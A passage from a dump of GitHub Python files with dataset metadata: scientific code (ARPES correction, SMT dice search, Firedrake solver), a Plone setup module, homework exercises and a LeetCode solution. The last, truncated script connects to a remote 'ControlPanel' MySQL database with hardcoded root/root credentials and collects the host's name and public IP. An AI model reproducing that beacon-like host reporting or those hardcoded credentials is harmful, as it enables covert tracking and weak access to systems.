(eV = -1.0)\n \"\"\"\n for i in numba.prange(len(phi)):\n l = l_fermi - energy[i] * (l_volt - l_fermi)\n r = r_fermi - energy[i] * (r_volt - r_fermi)\n\n # These are the forward equations, we can just invert them below\n # c = (phi[i] - l) / (r - l)\n # phi_out[i] = l_fermi + c * (r_fermi - l_fermi)\n\n dac_da = (r - l) / (r_fermi - l_fermi)\n phi_out[i] = (phi[i] - l_fermi) * dac_da + l\n\n\n@numba.njit(parallel=True)\ndef _phi_to_phi_forward(energy, phi, phi_out, l_fermi, l_volt, r_fermi, r_volt):\n \"\"\"The inverse transform to ``_phi_to_phi``. See that function for details.\"\"\"\n for i in numba.prange(len(phi)):\n l = l_fermi - energy[i] * (l_volt - l_fermi)\n r = r_fermi - energy[i] * (r_volt - r_fermi)\n\n # These are the forward equations\n c = (phi[i] - l) / (r - l)\n phi_out[i] = l_fermi + c * (r_fermi - l_fermi)\n\n\nclass ConvertTrapezoidalCorrection(CoordinateConverter):\n \"\"\"A converter for applying the trapezoidal correction to ARPES data.\"\"\"\n\n def __init__(self, *args: Any, corners: List[Dict[str, float]], **kwargs: Any):\n super().__init__(*args, **kwargs)\n self.phi = None\n\n # we normalize the corners so that they are equivalent to four corners at the Fermi level\n # and one volt below.\n c1, c2, c3, c4 = sorted(corners, key=lambda x: x[\"phi\"])\n c1, c2 = sorted([c1, c2], key=lambda x: x[\"eV\"])\n c3, c4 = sorted([c3, c4], key=lambda x: x[\"eV\"])\n\n # now, corners are in\n # (c1, c2, c3, c4) = (LL, UL, LR, UR) order\n\n left_per_volt = (c1[\"phi\"] - c2[\"phi\"]) / (c1[\"eV\"] - c2[\"eV\"])\n left_phi_fermi = c2[\"phi\"] - c2[\"eV\"] * left_per_volt\n left_phi_one_volt = left_phi_fermi - left_per_volt\n\n right_per_volt = (c3[\"phi\"] - c4[\"phi\"]) / (c3[\"eV\"] - c4[\"eV\"])\n right_phi_fermi = c3[\"phi\"] - c4[\"eV\"] * right_per_volt\n right_phi_one_volt = right_phi_fermi - right_per_volt\n\n self.corner_angles = (\n left_phi_fermi,\n left_phi_one_volt,\n right_phi_fermi,\n right_phi_one_volt,\n )\n\n def get_coordinates(self, *args, **kwargs):\n return self.arr.indexes\n\n def conversion_for(self, dim: str) -> Callable:\n def with_identity(*args, **kwargs):\n return self.identity_transform(dim, *args, **kwargs)\n\n return {\n \"phi\": self.phi_to_phi,\n }.get(dim, with_identity)\n\n def phi_to_phi(self, binding_energy: np.ndarray, phi: np.ndarray, *args: Any, **kwargs: Any):\n if self.phi is not None:\n return self.phi\n self.phi = np.zeros_like(phi)\n _phi_to_phi(binding_energy, phi, self.phi, *self.corner_angles)\n return self.phi\n\n def phi_to_phi_forward(\n self, binding_energy: np.ndarray, phi: np.ndarray, *args: Any, **kwargs: Any\n ):\n phi_out = np.zeros_like(phi)\n _phi_to_phi_forward(binding_energy, phi, phi_out, *self.corner_angles)\n return phi_out\n\n\n@traceable\ndef apply_trapezoidal_correction(\n data: xr.DataArray, corners: List[Dict[str, float]], trace: Trace = None\n) -> xr.DataArray:\n \"\"\"Applies the trapezoidal correction to data in angular units by linearly interpolating slices.\n\n Shares some code with standard coordinate conversion, i.e. to momentum, because you can think of\n this as performing a coordinate conversion between two angular coordinate sets, the measured angles\n and the true angles.\n\n Args:\n data: The xarray instances to perform correction on\n corners: These don't actually have to be corners, but are waypoints of the conversion. Use points near the Fermi\n level and near the bottom of the spectrum just at the edge of recorded angular region.\n trace: A trace instance which can be used to enable execution tracing and debugging. Pass ``True`` to enable.\n\n\n Returns:\n The corrected data.\n \"\"\"\n trace(\"Normalizing to spectrum\")\n\n if isinstance(data, dict):\n warnings.warn(\n \"Treating dict-like data as an attempt to forward convert a single coordinate.\"\n )\n converter = ConvertTrapezoidalCorrection(None, [], corners=corners)\n result = dict(data)\n result[\"phi\"] = converter.phi_to_phi_forward(\n np.array([data[\"eV\"]]), np.array([data[\"phi\"]])\n )[0]\n return result\n\n if isinstance(data, xr.Dataset):\n warnings.warn(\n \"Remember to use a DataArray not a Dataset, attempting to extract spectrum and copy attributes.\"\n )\n attrs = data.attrs.copy()\n data = normalize_to_spectrum(data)\n data.attrs.update(attrs)\n\n original_coords = data.coords\n\n trace(\"Determining dimensions.\")\n if \"phi\" not in data.dims:\n raise ValueError(\"The data must have a phi coordinate.\")\n trace(\"Replacing dummy coordinates with index-like ones.\")\n removed = [d for d in data.dims if d not in [\"eV\", \"phi\"]]\n data = data.transpose(*([\"eV\", \"phi\"] + removed))\n converted_dims = data.dims\n\n restore_index_like_coordinates = {r: data.coords[r].values for r in removed}\n new_index_like_coordinates = {r: np.arange(len(data.coords[r].values)) for r in removed}\n data = data.assign_coords(**new_index_like_coordinates)\n\n converter = ConvertTrapezoidalCorrection(data, converted_dims, corners=corners)\n converted_coordinates = converter.get_coordinates()\n\n trace(\"Calling convert_coordinates\")\n result = convert_coordinates(\n data,\n converted_coordinates,\n {\n \"dims\": data.dims,\n \"transforms\": dict(zip(data.dims, [converter.conversion_for(d) for d in data.dims])),\n },\n trace=trace,\n )\n\n trace(\"Reassigning index-like coordinates.\")\n result = result.assign_coords(**restore_index_like_coordinates)\n result = result.assign_coords(\n **{c: v for c, v in original_coords.items() if c not in result.coords}\n )\n result = result.assign_attrs(data.attrs)\n return result\n","repo_name":"chstan/arpes","sub_path":"arpes/utilities/conversion/trapezoid.py","file_name":"trapezoid.py","file_ext":"py","file_size_in_byte":7325,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"81"} +{"seq_id":"15847413655","text":"import numpy as np\nfrom tqdm import tqdm\n\nfrom pysmt.shortcuts import Symbol, Int, get_model\nfrom pysmt.shortcuts import And, Or\nfrom pysmt.shortcuts import GE, LE, Equals\nfrom pysmt.shortcuts import Plus, Times\nfrom pysmt.typing import INT\n\nfrom itertools import combinations, permutations, product\nfrom scipy.special import factorial\nfrom utils import score_orders2\n\n\ndef smt_to_word(smt_solution, indicator, dice_names, d):\n n = len(dice_names)\n bit_array = []\n for i in range(n):\n bit_array.append(\n [int(smt_solution.get_py_value(indicator[i][jj])) for jj in range(n * d)]\n )\n char_list = [\"\" for i in range(n * d)]\n for x, row in zip(dice_names, bit_array):\n for i in range(n * d):\n if row[i] == 1:\n char_list[i] = x\n return \"\".join(char_list)\n\n\n# ============================================================================\n\ndice_names = \"abcd\"\nn = len(dice_names)\nd = 6\nk = 3\n\nrow_lut = {(x,): i for i, x in enumerate(sorted(dice_names))}\n\nindicator = [\n [Symbol(x + \"%i_ind\" % i, INT) for i in range(n * d)] for x in sorted(dice_names)\n]\nindicator_domains = And(\n [And([And(GE(x, Int(0)), LE(x, Int(1))) for x in indicator[i]]) for i in range(n)]\n)\n\naccumulator = [\n [Symbol(x + \"%i_acc\" % i, INT) for i in range(n * d)] for x in sorted(dice_names)\n]\nconstraint = [\n [Equals(accumulator[i][j], Plus(indicator[i][: j + 1])) for j in range(n * d)]\n for i in range(n)\n]\n\naccumulators = [accumulator]\nconstraints = [constraint]\nrow_luts = [row_lut]\n\nfor m in range(2, k + 1):\n keys = sorted(list(permutations(sorted(dice_names), m)))\n row_lut = {x: i for i, x in enumerate(keys)}\n accumulator = []\n constraint = []\n for i, x in enumerate(keys):\n mask = indicator[row_luts[0][x[-1:]]]\n j = row_luts[-1][x[:-1]]\n temp = [accumulators[-1][j][jj] * mask[jj] for jj in range(n * d)]\n accumulator.append(\n [Symbol(\"\".join(x) + \"%i_acc\" % jj, INT) for jj in range(n * d)]\n )\n constraint.append(\n [Equals(accumulator[i][jj], Plus(temp[: jj + 1])) for jj in range(n * d)]\n )\n accumulators.append(accumulator)\n constraints.append(constraint)\n row_luts.append(row_lut)\n\n\nindicator_columns = [[indicator[i][jj] for i in range(n)] for jj in range(n * d)]\nindicator_constraints = And(\n [Equals(Plus(indicator_columns[jj]), Int(1)) for jj in range(n * d)]\n)\nsymmetry_constraints = Equals(indicator[0][0], Int(1))\n\ntarget_constraints = []\nfor i in range(k):\n target_vars = [x[-1] for x in accumulators[i]]\n target_val = d ** (i + 1) // factorial((i + 1), exact=True)\n target_constraints.append(And([Equals(x, Int(target_val)) for x in target_vars]))\ntarget_constraints = And(target_constraints)\n\nproblem_constraints = And(sum(sum(constraints, []), []))\nformula = And(\n indicator_domains,\n indicator_constraints,\n problem_constraints,\n target_constraints,\n symmetry_constraints,\n)\n\nmodel = get_model(formula)\nif model:\n print(model)\nelse:\n print(\"No solution found\")\n\nfor i in range(n):\n print([model[indicator[i][jj]] for jj in range(n * d)])\n\ntest = smt_to_word(model, indicator, dice_names, d)\nprint(test)\nscore_orders2(test, k)\n\n# ============================================================================\n\n# n = 19\n# # dice_names = [\"D%i\" % i for i in range(n)]\n# dice_names = \"abcdefghijklmnopqrs\"\n\nn = 19\ndice_names = \"abcdefghijklmnopqrs\" # tuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%\"\n\ndice_pairs = list(permutations(dice_names, 2))\nd = 3\n\nk = 2\n\nrow_lut = {(x,): i for i, x in enumerate(sorted(dice_names))}\n\nindicator = [\n [Symbol(x + \"%i_ind\" % i, INT) for i in range(n * d)] for x in sorted(dice_names)\n]\nindicator_domains = And(\n [And([And(GE(x, Int(0)), LE(x, Int(1))) for x in indicator[i]]) for i in range(n)]\n)\n\naccumulator = [\n [Symbol(x + \"%i_acc\" % i, INT) for i in range(n * d)] for x in sorted(dice_names)\n]\naccumulator_domains = And(\n [And([And(GE(x, Int(0)), LE(x, Int(d))) for x in indicator[i]]) for i in range(n)]\n)\n\nconstraint = [\n [Equals(accumulator[i][j], Plus(indicator[i][: j + 1])) for j in range(n * d)]\n for i in range(n)\n]\n\naccumulators = [accumulator]\nconstraints = [constraint]\nrow_luts = [row_lut]\n\nindicator_columns = [[indicator[i][jj] for i in range(n)] for jj in range(n * d)]\nindicator_constraints = And(\n [Equals(Plus(indicator_columns[jj]), Int(1)) for jj in range(n * d)]\n)\nsymmetry_constraints = Equals(indicator[0][0], Int(1))\n\nscore = d ** 2 // 2 + 1\nmask_index = sorted([x for x in set(np.arange(1, n) ** 2 % n)])\nmask = [1 if (i + 1) in mask_index else 0 for i in range(n - 1)]\ntemp = [score if mask[i] else d ** 2 - score for i in range(n - 1)]\nS = [[temp[(j - i) % (n - 1)] for j in range(n - 1)] for i in range(n)]\nscores = {p: s for p, s in zip(dice_pairs, sum(S, [])) if s == score}\n\ntarget_constraints = []\ntarget_vars = [x[-1] for x in accumulators[0]]\ntarget_val = d\ntarget_constraints.append(And([Equals(x, Int(target_val)) for x in target_vars]))\nfor key, target_val in scores.items():\n i, j = row_lut[key[:1]], row_lut[key[-1:]]\n target_constraints.append(\n GE(\n Plus([Times(accumulator[i][jj], indicator[j][jj]) for jj in range(n * d)]),\n Int(target_val),\n )\n )\ntarget_constraints = And(target_constraints)\n\n\nproblem_constraints = And(sum(sum(constraints, []), []))\nformula = And(\n indicator_domains,\n indicator_constraints,\n accumulator_domains,\n problem_constraints,\n target_constraints,\n symmetry_constraints,\n)\n\nmodel = get_model(formula)\nif model:\n print(model)\nelse:\n print(\"No solution found\")\n\nfor i in range(n):\n print([model[indicator[i][jj]] for jj in range(n * d)])\n\ntest = smt_to_word(model, indicator, dice_names, d)\nprint(test)\ncounts = score_orders2(test, k)\nfor s in scores:\n print(s, scores[s], counts[s])\n","repo_name":"michaelpatrickpurcell/permutation-fair-dice","sub_path":"SMT_search.py","file_name":"SMT_search.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38913098418","text":"from firedrake import *\nfrom firedrake.petsc import PETSc\nfrom firedrake import COMM_WORLD\n\ntry:\n import matplotlib.pyplot as plt\n\n plt.rcParams[\"contour.corner_mask\"] = False\n plt.close(\"all\")\nexcept:\n warning(\"Matplotlib not imported\")\n\nnx, ny = 20, 20\nquads = True\nmesh = UnitSquareMesh(nx, ny, quadrilateral=quads)\n\ndegree = 1\nk_plus = 0\nprimal_family = \"DQ\" if quads else \"DG\"\nU = FunctionSpace(mesh, primal_family, degree + k_plus)\nV = VectorFunctionSpace(mesh, \"CG\", degree + k_plus)\nLagrangeElement = FiniteElement(\"Lagrange\", mesh.ufl_cell(), degree)\nC0TraceElement = LagrangeElement[\"facet\"]\nT = FunctionSpace(mesh, C0TraceElement)\nW = U * T\n\n# Trial and test functions\nsolution = Function(W)\nu, lambda_h = split(solution)\nv, mu_h = TestFunction(W)\n\n# Mesh entities\nn = FacetNormal(mesh)\nx, y = SpatialCoordinate(mesh)\n\n# Exact solution and source term projection\np_exact = sin(2 * pi * x) * sin(2 * pi * y)\nsol_exact = Function(U).interpolate(p_exact)\nsol_exact.rename(\"Exact pressure\", \"label\")\nsigma_e = Function(V, name=\"Exact velocity\")\nsigma_e.project(-grad(p_exact))\nsource_expr = div(-grad(p_exact))\nf = Function(U).interpolate(source_expr)\n\n# BCs\np_boundaries = Constant(0.0)\nbc_multiplier = DirichletBC(W.sub(1), p_boundaries, \"on_boundary\")\n\n# DG parameter\ns = Constant(1.0)\nbeta = Constant(32.0)\nh = CellDiameter(mesh)\nh_avg = avg(h)\n\n# Classical term\na = dot(grad(u), grad(v)) * dx\nL = f * v * dx\n# Hybridization terms\na += s * dot(grad(v), n)(\"+\") * (u(\"+\") - lambda_h(\"+\")) * dS\na += -dot(grad(u), n)(\"+\") * (v(\"+\") - mu_h(\"+\")) * dS\na += (beta / h_avg) * (u(\"+\") - lambda_h(\"+\")) * (v(\"+\") - mu_h(\"+\")) * dS\n# Boundary terms\n# a += -dot(vel_projected, n) * v * ds # How to set this bc??\na += (beta / h) * (u - p_boundaries) * v * ds # is this necessary?\nL += s * dot(grad(v), n) * p_boundaries * ds\n\nF = a - L\n\n# Solving SC below\nPETSc.Sys.Print(\"*******************************************\\nSolving...\\n\")\nparams = {\n \"snes_type\": \"ksponly\",\n \"mat_type\": \"matfree\",\n \"pmat_type\": \"matfree\",\n \"ksp_type\": \"preonly\",\n \"pc_type\": \"python\",\n # Use the static condensation PC for hybridized problems\n # and use a direct solve on the reduced system for lambda_h\n \"pc_python_type\": \"firedrake.SCPC\",\n \"pc_sc_eliminate_fields\": \"0\",\n \"condensed_field\": {\n \"ksp_type\": \"preonly\",\n \"pc_type\": \"lu\",\n \"pc_factor_mat_solver_type\": \"mumps\",\n },\n}\n\nproblem = NonlinearVariationalProblem(F, solution, bcs=bc_multiplier)\nsolver = NonlinearVariationalSolver(problem, solver_parameters=params)\nsolver.solve()\n\nPETSc.Sys.Print(\"Solver finished.\\n\")\n\n# Gathering solution\nu_h, lambda_h = solution.split()\nu_h.rename(\"Solution\", \"label\")\n\n# Post-processing solution\nsigma_h = Function(V, name=\"Projected velocity\")\nsigma_h.project(-grad(u_h))\n\n# Plotting velocity field exact solution\nfig, axes = plt.subplots()\ncollection = quiver(sigma_e, axes=axes, cmap='coolwarm')\nfig.colorbar(collection)\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.title(\"Exact solution for velocity\")\nplt.savefig(\"exact_velocity.png\")\n# plt.show()\n\n# Plotting pressure field exact solution\nfig, axes = plt.subplots()\ncollection = tripcolor(sol_exact, axes=axes, cmap='coolwarm')\nfig.colorbar(collection)\naxes.set_xlim([0, 1])\naxes.set_ylim([0, 1])\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.title(\"Exact solution for pressure\")\nplt.savefig(\"exact_pressure.png\")\n# plt.show()\n\n# Plotting velocity field numerical solution\nfig, axes = plt.subplots()\ncollection = quiver(sigma_h, axes=axes, cmap='coolwarm')\nfig.colorbar(collection)\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.savefig(\"solution_velocity.png\")\n# plt.show()\n\n# Plotting pressure field numerical solution\nfig, axes = plt.subplots()\ncollection = tripcolor(u_h, axes=axes, cmap='coolwarm')\nfig.colorbar(collection)\naxes.set_xlim([0, 1])\naxes.set_ylim([0, 1])\nplt.xlabel(\"x\")\nplt.ylabel(\"y\")\nplt.savefig(\"solution_pressure.png\")\n# plt.show()\n\n\nprint(\"\\n*** DoF = %i\" % W.dim())\n","repo_name":"volpatto/firedrake_scripts","sub_path":"scripts/2D/ldgc_poisson_2D.py","file_name":"ldgc_poisson_2D.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"81"} +{"seq_id":"35384942665","text":"# -*- coding: utf-8 -*-\nimport os\n\nfrom Products.CMFCore.utils import getToolByName\nfrom collective.iamisearch import _\nfrom collective.iamisearch.interfaces import IIAmFolder\nfrom collective.iamisearch.interfaces import IISearchFolder\nfrom plone.dexterity.interfaces import IDexterityFTI\n\nfrom Products.CMFPlone.interfaces import INonInstallable\nfrom collective.taxonomy.factory import registerTaxonomy\nfrom collective.taxonomy.interfaces import ITaxonomy\nfrom plone import api\nfrom plone.app.dexterity.behaviors.exclfromnav import IExcludeFromNavigation\nfrom plone.app.multilingual import api as api_lng\nfrom plone.i18n.normalizer.interfaces import IIDNormalizer\nfrom zope.component import getUtility, queryUtility\nfrom zope.i18n.interfaces import ITranslationDomain\nfrom zope.interface import alsoProvides\nfrom zope.interface import implementer\nfrom zope.schema.interfaces import IVocabularyFactory\nfrom zope.i18n import translate\n\n\n@implementer(INonInstallable)\nclass HiddenProfiles(object):\n def getNonInstallableProfiles(self):\n \"\"\"Hide uninstall profile from site-creation and quickinstaller.\"\"\"\n return [\"collective.iamisearch:uninstall\"]\n\n\ndef post_install(context):\n \"\"\"Post install script\"\"\"\n # creation of taxonomies\n\n language_tool = api.portal.get_tool(\"portal_languages\")\n langs = language_tool.supported_langs\n current_lang = api.portal.get_default_language()[:2]\n\n taxonomies_collection = [\"I am\", \"I search\"]\n data_iam = {\n \"taxonomy\": \"iam\",\n \"field_title\": translate(_(\"I am\"), target_language=current_lang),\n \"field_description\": \"\",\n \"default_language\": \"fr\",\n }\n\n data_isearch = {\n \"taxonomy\": \"isearch\",\n \"field_title\": translate(_(\"I search\"), target_language=current_lang),\n \"field_description\": \"\",\n \"default_language\": \"fr\",\n }\n\n faced_config = {\n \"I am\": \"/faceted/config/iam_folder_{0}.xml\",\n \"I search\": \"/faceted/config/isearch_folder_{0}.xml\",\n }\n\n provided_interfaces = {\"I am\": IIAmFolder, \"I search\": IISearchFolder}\n\n # install taxonomy\n portal = api.portal.get()\n sm = portal.getSiteManager()\n iam_item = \"collective.taxonomy.iam\"\n isearch_item = \"collective.taxonomy.isearch\"\n utility_iam = sm.queryUtility(ITaxonomy, name=iam_item)\n utility_isearch = sm.queryUtility(ITaxonomy, name=isearch_item)\n\n # stop installation if already\n if utility_iam and utility_isearch:\n enable_taxonomies_content_type()\n return\n\n create_taxonomy_object(data_iam)\n create_taxonomy_object(data_isearch)\n\n # remove taxonomy test\n item = \"collective.taxonomy.test\"\n utility = sm.queryUtility(ITaxonomy, name=item)\n if utility:\n utility.unregisterBehavior()\n sm.unregisterUtility(utility, ITaxonomy, name=item)\n sm.unregisterUtility(utility, IVocabularyFactory, name=item)\n sm.unregisterUtility(utility, ITranslationDomain, name=item)\n\n enable_taxonomies_content_type()\n # creation of two collections by language\n\n container = api.portal.get().get(current_lang)\n if container is None:\n container = api.portal.get()\n for taxonomy_collection in taxonomies_collection:\n title = taxonomy_collection\n translate_title = translate(_(title), target_language=current_lang)\n normalizer = getUtility(IIDNormalizer)\n new_id = normalizer.normalize(translate_title)\n if normalizer.normalize(title) not in container:\n new_obj = api.content.create(\n type=\"Folder\", title=translate_title, container=container\n )\n alsoProvides(new_obj, provided_interfaces[taxonomy_collection])\n if new_obj.id != new_id:\n api.content.rename(new_obj, new_id=new_id)\n try:\n nav = IExcludeFromNavigation(new_obj)\n except:\n pass\n if nav:\n nav.exclude_from_nav = True\n new_obj.reindexObject()\n _activate_dashboard_navigation(\n new_obj, faced_config[taxonomy_collection].format(current_lang)\n )\n for lang in langs:\n if lang != current_lang:\n translated_obj = translation_folderish(new_obj, lang, title)\n alsoProvides(\n translated_obj, provided_interfaces[taxonomy_collection]\n )\n _activate_dashboard_navigation(\n translated_obj, faced_config[taxonomy_collection].format(lang)\n )\n\n\ndef create_taxonomy_object(data):\n taxonomy = registerTaxonomy(\n api.portal.get(),\n name=data[\"taxonomy\"],\n title=data[\"field_title\"],\n description=data[\"field_description\"],\n default_language=data[\"default_language\"],\n )\n\n del data[\"taxonomy\"]\n taxonomy.registerBehavior(**data)\n\n\ndef translation_folderish(obj, lang, title):\n translated_obj = api_lng.translate(obj, lang)\n translate_title = translate(_(title), target_language=lang)\n normalizer = getUtility(IIDNormalizer)\n new_id = normalizer.normalize(translate_title)\n translated_obj.title = translate_title\n if translated_obj.id != new_id:\n api.content.rename(translated_obj, new_id=new_id)\n try:\n nav = IExcludeFromNavigation(translated_obj)\n except:\n pass\n if nav:\n nav.exclude_from_nav = True\n translated_obj.reindexObject()\n return translated_obj\n\n\ndef _activate_dashboard_navigation(context, config_path=\"\"):\n subtyper = context.restrictedTraverse(\"@@faceted_subtyper\")\n if subtyper.is_faceted:\n return\n subtyper.enable()\n context.unrestrictedTraverse(\"@@faceted_exportimport\").import_xml(\n import_file=open(os.path.dirname(__file__) + config_path)\n )\n\n\ndef enable_taxonomies_content_type():\n portal_types = getToolByName(api.portal.get(), \"portal_types\")\n types = portal_types.listContentTypes()\n for type in types:\n add_behavior(type, \"collective.taxonomy.generated.iam\")\n add_behavior(type, \"collective.taxonomy.generated.isearch\")\n\n\ndef add_behavior(type_name, behavior_name):\n \"\"\"Add a behavior to a type\"\"\"\n fti = queryUtility(IDexterityFTI, name=type_name)\n if not fti:\n return\n behaviors = list(fti.behaviors)\n if behavior_name not in behaviors:\n behaviors.append(behavior_name)\n fti._updateProperty(\"behaviors\", tuple(behaviors))\n\n\ndef uninstall(context):\n \"\"\"Uninstall script\"\"\"\n # Do something at the end of the uninstallation of this package.\n","repo_name":"affinitic/collective.iamisearch","sub_path":"src/collective/iamisearch/setuphandlers.py","file_name":"setuphandlers.py","file_ext":"py","file_size_in_byte":6611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28047257679","text":"from dataclasses import asdict, dataclass\nfrom typing import Dict, Type\n\n\n@dataclass\nclass InfoMessage:\n \"\"\"Информационное сообщение о тренировке.\"\"\"\n training_type: str\n duration: float\n distance: float\n speed: float\n calories: float\n\n MESSAGE = (\n 'Тип тренировки: {training_type}; '\n 'Длительность: {duration:.3f} ч.; '\n 'Дистанция: {distance:.3f} км; '\n 'Ср. скорость: {speed:.3f} км/ч; '\n 'Потрачено ккал: {calories:.3f}.')\n\n def get_message(self) -> str:\n return self.MESSAGE.format(**asdict(self))\n\n\nclass Training:\n \"\"\"Базовый класс тренировки.\"\"\"\n\n M_IN_KM: float = 1000\n LEN_STEP: float = 0.65\n DURATION_IN_MINUTS_COEFF: float = 60\n\n def __init__(self,\n action: float,\n duration: float,\n weight: float,\n ) -> None:\n self.action = action\n self.duration = duration\n self.weight = weight\n\n def get_distance(self) -> float:\n \"\"\"Получить дистанцию в км.\"\"\"\n return self.action * self.LEN_STEP / self.M_IN_KM\n\n def get_mean_speed(self) -> float:\n \"\"\"Получить среднюю скорость движения.\"\"\"\n return self.get_distance() / self.duration\n\n def get_spent_calories(self) -> float:\n \"\"\"Получить количество затраченных калорий.\"\"\"\n raise NotImplementedError(\n 'расход калорий расчитывается '\n 'в дочернем классе ', self.__class__.__name__)\n\n def show_training_info(self) -> InfoMessage:\n \"\"\"Вернуть информационное сообщение о выполненной тренировке.\"\"\"\n return InfoMessage(\n self.__class__.__name__,\n self.duration,\n self.get_distance(),\n self.get_mean_speed(),\n self.get_spent_calories())\n\n\nclass Running(Training):\n \"\"\"Тренировка: бег.\"\"\"\n COEFF_MEAN_SPEED_1: float = 18\n COEFF_MEAN_SPEED_2: float = 20\n LEN_STEP: float = 0.65\n\n def get_spent_calories(self) -> float:\n \"\"\"Получить количество затраченных калорий для бега.\"\"\"\n return ((self.COEFF_MEAN_SPEED_1\n * self.get_mean_speed()\n - self.COEFF_MEAN_SPEED_2)\n * self.weight\n / self.M_IN_KM * self.duration * self.DURATION_IN_MINUTS_COEFF)\n\n\nclass SportsWalking(Training):\n \"\"\"Тренировка: спортивная ходьба.\"\"\"\n\n LEN_STEP: float = 0.65\n COEFF_WEIGHT_CALORIES_1: float = 0.035\n COEFF_CALORIES_CONST_2: float = 2\n COEFF_WEIGHT_CALORIES_3: float = 0.029\n\n def __init__(\n self,\n action: float,\n duration: float,\n weight: float,\n height: float) -> None:\n super().__init__(action, duration, weight)\n self.height = height\n\n def get_spent_calories(self) -> float:\n \"\"\"Получить количество затраченных калорий для ходьбы.\"\"\"\n\n return ((\n self.COEFF_WEIGHT_CALORIES_1\n * self.weight + (self.get_mean_speed()\n ** self.COEFF_CALORIES_CONST_2\n // self.height)\n * self.COEFF_WEIGHT_CALORIES_3\n * self.weight)\n * self.duration * self.DURATION_IN_MINUTS_COEFF)\n\n\nclass Swimming(Training):\n \"\"\"Тренировка: плавание.\"\"\"\n\n LEN_STEP: float = 1.38\n COEFF_CALORIES_CONST_SWM_1: float = 1.1\n COEFF_CALORIES_WEIGHT_SWM_2: float = 2\n\n def __init__(\n self,\n action: float,\n duration: float,\n weight: float,\n length_pool: float,\n count_pool: float) -> None:\n super().__init__(action, duration, weight)\n self.length_pool = length_pool\n self.count_pool = count_pool\n\n def get_mean_speed(self) -> float:\n \"\"\"Получить среднюю скорость движения для плавания.\"\"\"\n return (self.length_pool * self.count_pool\n / self.M_IN_KM / self.duration)\n\n def get_spent_calories(self) -> float:\n \"\"\"Получить количество затраченных калорий для плавания.\"\"\"\n return ((\n self.get_mean_speed() + self.COEFF_CALORIES_CONST_SWM_1)\n * self.COEFF_CALORIES_WEIGHT_SWM_2 * self.weight)\n\n\ndef read_package(workout_type: str, data: list) -> Training:\n \"\"\"Прочитать данные полученные от датчиков.\"\"\"\n\n district_sport: Dict[str, Type[Training]] = {\n 'SWM': Swimming,\n 'RUN': Running,\n 'WLK': SportsWalking\n }\n\n if workout_type not in district_sport:\n raise KeyError(\n 'ключа', workout_type, 'я не знаю,'\n 'ведите другой код тренeровки')\n return district_sport[workout_type](*data)\n\n\ndef main(training: Training) -> None:\n \"\"\"Главная функция.\"\"\"\n print(training.show_training_info().get_message())\n\n\nif __name__ == '__main__':\n packages = [\n ('SWM', [720, 1, 80, 25, 40]),\n ('RUN', [15000, 1, 75]),\n ('WLK', [9000, 1, 75, 180]),\n ]\n\n for workout_type, data in packages:\n main(read_package(workout_type, data))\n","repo_name":"AndreyKatyshev/fitness-tracker-module","sub_path":"homework.py","file_name":"homework.py","file_ext":"py","file_size_in_byte":5584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"41262361327","text":"# -*- coding: utf-8 -*-\n# Created on Fri Mar 23 2018 17:3:14\n# Author: WuLC\n# EMail: liangchaowu5@gmail.com\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n# serializing just returns the result of preorder traversal\n# deserializing builds the result of inorder traversal from the result of preorder traversal, then build the tree with these two results\nclass Codec:\n def serialize(self, root):\n \"\"\"Encodes a tree to a single string.\n \n :type root: TreeNode\n :rtype: str\n \"\"\"\n # preorder traversal\n vals, stack = [], []\n curr = root\n while curr or len(stack)>0:\n if curr == None:\n curr = stack.pop().right\n else:\n vals.append(curr.val)\n stack.append(curr)\n curr = curr.left\n return ' '.join(map(str, vals))\n\n def deserialize(self, data):\n \"\"\"Decodes your encoded data to tree.\n \n :type data: str\n :rtype: TreeNode\n \"\"\"\n def build(pre, ino):\n if len(pre) == 0:\n return None\n val = pre[0]\n idx = ino.index(val)\n root = TreeNode(val)\n root.left = build(pre[1:1+idx], ino[:idx])\n root.right = build(pre[1+idx:], ino[idx+1:])\n return root\n preorder = map(int, data.split())\n inorder = sorted(preorder)\n return build(preorder, inorder)\n \n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.deserialize(codec.serialize(root))","repo_name":"WuLC/LeetCode","sub_path":"Algorithm/Python/449. Serialize and Deserialize BST.py","file_name":"449. Serialize and Deserialize BST.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"81"} +{"seq_id":"40911111880","text":"\"\"\"\nlista1 = [1,2,3,7,4,8,8,9,9,7,10,11,20,1,8,1,1]\nlista2 = ['Lucas', \"É um bosta\", \"Vida zuada\"]\nlista3 = []\nfor lista3 in range(0,10):\n print(lista1+lista2)\n\"\"\"\n\nimport random\nfor x in range(0,100):\n lista = [x+1]\nprint (f\"Lista = [{random.randint(0,100)}]\")\n","repo_name":"lucaslk122/Programas-python","sub_path":"listas.py","file_name":"listas.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"1990139411","text":"import mysql.connector\nimport os\nimport subprocess\nimport requests\nimport json\nimport platform\nimport time\n\n#mysqlconnector\nmydb = mysql.connector.connect(\n host='192.168.43.1',\n database='ControlPanel',\n user='root',\n password='root'\n)\n\n#hostname\nimport socket\ngethostname = socket.gethostname()\n\n# ipAddress\ndef getIP():\n endpoint = 'https://ipinfo.io/json'\n response = requests.get(endpoint, verify = True)\n\n if response.status_code != 200:\n return 'Status:', response.status_code, 'Problem with the request. Exiting.'\n exit()\n\n data = response.json()\n return data['ip']\n#get my ip\n# my_ip = getIP()\n# print my ip\n# print(my_ip)\n\n# os\ndef 